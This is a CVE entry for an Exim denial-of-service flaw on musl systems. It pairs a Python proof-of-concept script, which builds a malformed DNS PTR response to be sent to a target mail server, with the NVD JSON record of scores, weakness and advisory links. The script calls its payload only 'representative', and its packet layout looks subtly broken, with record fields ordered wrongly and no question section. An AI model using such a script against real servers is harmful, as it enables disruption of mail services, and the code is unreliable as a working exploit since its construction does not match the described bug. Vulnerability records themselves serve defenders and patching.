CVE-2026-40684

import socket import struct # This script simulates a crafted DNS response targeting Exim's dn_expand handling. # It sends a malformed PTR record response intended to trigger the crash. def create_malformed_dns_packet(transaction_id): # DNS Header: ID=tx_id, Flags=Response, Questions=0, Answers=1, Authority=0, Additional=0 header = struct.pack('!HHHHHH', transaction_id, 0x8180, 0, 1, 0, 0) # Query section (omitted for brevity in PoC, assuming response to specific query) # Answer section: Malformed PTR record triggering dn_expand octal issue # Format: Name(2 bytes), Type(2), Class(2), TTL(4), DataLen(2), RData # The specific octal sequence causing the dn_expand oddity in musl libc # This is a representative payload based on the vulnerability description. malformed_name = b'\x01\x00' # Pointer or label length causing issue type_ptr = 0x000c class_in = 0x0001 ttl = 3600 data_len = 0x0004 rdata = b'\xff\xff\xff\xff' answer = struct.pack('!HHIH', type_ptr, class_in, ttl, data_len) + malformed_name + rdata return header + answer # Usage: Run this as a malicious DNS server or inject the packet def main(): print("[+] Generating PoC packet for CVE-2026-40684") packet = create_malformed_dns_packet(12345) print(f"[+] Packet length: {len(packet)} bytes") print("[!] This packet should be sent to the target Exim server as a DNS response.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-40684", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.477", "lastModified": "2026-05-01T18:16:15.343", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Exim before 4.99.2, on systems using musl libc (not glibc), an attacker can crash the connection instance when malformed DNS data is present in PTR records. This is caused by a dn_expand oddity in octal printing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-684"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.99.2", "matchCriteriaId": "E48EAA99-95DA-4695-BBEA-16D09AA0A508"}]}]}], "references": [{"url": "https://code.exim.org/exim/exim/commit/628bbaca7672748d941a12e7cd5f0122a4e18c81", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://exim.org/static/doc/security/CVE-2026-40684.txt", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://exim.org/static/doc/security/cve-2026-04.1/CVE2026-40684.assessment", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/30/21", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/11", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}